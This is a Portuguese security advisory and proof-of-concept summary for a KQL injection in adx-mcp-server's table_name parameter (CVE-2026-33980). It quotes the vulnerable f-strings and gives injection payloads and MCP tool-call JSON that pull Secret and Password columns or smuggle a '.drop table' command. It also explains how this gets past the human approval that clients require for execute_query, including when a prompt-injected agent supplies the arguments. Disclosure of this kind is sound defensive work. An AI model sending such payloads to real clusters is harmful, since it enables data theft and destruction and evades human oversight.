
Prova de conceito de exploit para injeção de KQL no adx-mcp-server por meio do parâmetro table_name, permitindo exfiltração de dados e comandos destrutivos no Azure Data Explorer.
Severidade: Alta (CVSS 8.3)
CWE: CWE-943 — Neutralização Imprópria de Elementos Especiais em Lógica de Consulta de Dados
Afetado: adx-mcp-server <= 1.1.0
Aviso: GHSA-vphc-468g-8rfp
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33980
Crédito: Romain Deperne
Três ferramentas MCP no adx-mcp-server interpolam o parâmetro table_name diretamente em consultas KQL (Kusto Query Language) por meio de f-strings. Um atacante ou um agente de IA sujeito a injeção de prompt pode ler qualquer tabela no cluster do Azure Data Explorer, executar comandos de gerenciamento (.drop table) ou executar consultas analíticas arbitrárias — contornando a fronteira de confiança entre as ferramentas de metadados "seguras" e a ferramenta bruta execute_query.
Eu estava examinando a lista awesome-mcp-servers procurando especificamente por servidores MCP que envolvem plataformas de dados em nuvem — estes são de alto risco porque são projetados para dar aos agentes de IA acesso direto ao banco de dados, e os parâmetros das ferramentas MCP são totalmente controláveis pelo atacante (qualquer LLM que processe dados não confiáveis pode sofrer injeção de prompt para passar argumentos maliciosos às ferramentas).
Ao revisar como os parâmetros das ferramentas MCP chegavam às consultas do Azure Data Explorer, identifiquei três interpolações diretas em server.py: f"{table_name} | getschema", f"{table_name} | sample {sample_size}" e f".show table {table_name} details".
A parte interessante é o contorno da fronteira de confiança: o servidor expõe tanto uma ferramenta bruta execute_query (que os clientes MCP podem exigir aprovação humana para usar) quanto essas ferramentas "seguras" de inspeção de metadados (que são aprovadas automaticamente). Injetar por meio das ferramentas de metadados permite contornar qualquer política de aprovação que o cliente imponha. Foi isso que elevou este caso de "bug de injeção" para uma violação real de fronteira de segurança.
A sintaxe de comentário do KQL (//) permite que um payload suprima o restante da consulta original.
Arquivo: src/adx_mcp_server/server.py
# Line 228 — get_table_schema
query = f"{table_name} | getschema"
# Line 248 — sample_table_data
query = f"{table_name} | sample {sample_size}"
# Line 268 — get_table_details
query = f".show table {table_name} details"
Todos os três passam table_name dos argumentos da ferramenta MCP diretamente para client.execute(config.database, query) sem qualquer validação.
O KQL permite encadear operadores de consulta com | e executar comandos de gestão prefixados com .. O caractere // inicia um comentário de linha. A interpolação direta com f-string permite, portanto, injeção de consulta:
f"{table_name} | getschema" → acrescentar | project Secret // para comentar | getschemaf".show table {table_name} details" → injetar \n.drop table para encadear um comando de gestãoPor que isto importa para além de uma ferramenta execute_query em bruto: os clientes MCP frequentemente distinguem entre ferramentas "seguras" de apenas leitura (aprovadas automaticamente) e ferramentas de execução em bruto (requerem confirmação). A injeção tem como alvo as ferramentas de metadados "seguras", contornando o limite de aprovação.
Consulte poc.py para uma demonstração completa. Payloads principais:
# Data exfiltration via get_table_schema
# f"{table_name} | getschema" becomes:
# "sensitive_data | project Secret, Password | take 100 // | getschema"
# → // comments out "| getschema"; query reads sensitive_data columns
table_name = "sensitive_data | project Secret, Password | take 100 //"
# Destructive management command via get_table_details
# f".show table {table_name} details" becomes:
# ".show table users details\n.drop table critical_data details"
table_name = "users details\n.drop table critical_data"
Chamadas de ferramentas MCP:
{"name": "get_table_schema", "arguments": {"table_name": "sensitive_data | project Secret, Password | take 100 //"}}
{"name": "get_table_details", "arguments": {"table_name": "users details\n.drop table critical_data"}}
.drop table, .drop extentstable_name, transformando a injeção de prompt em acesso total aos dados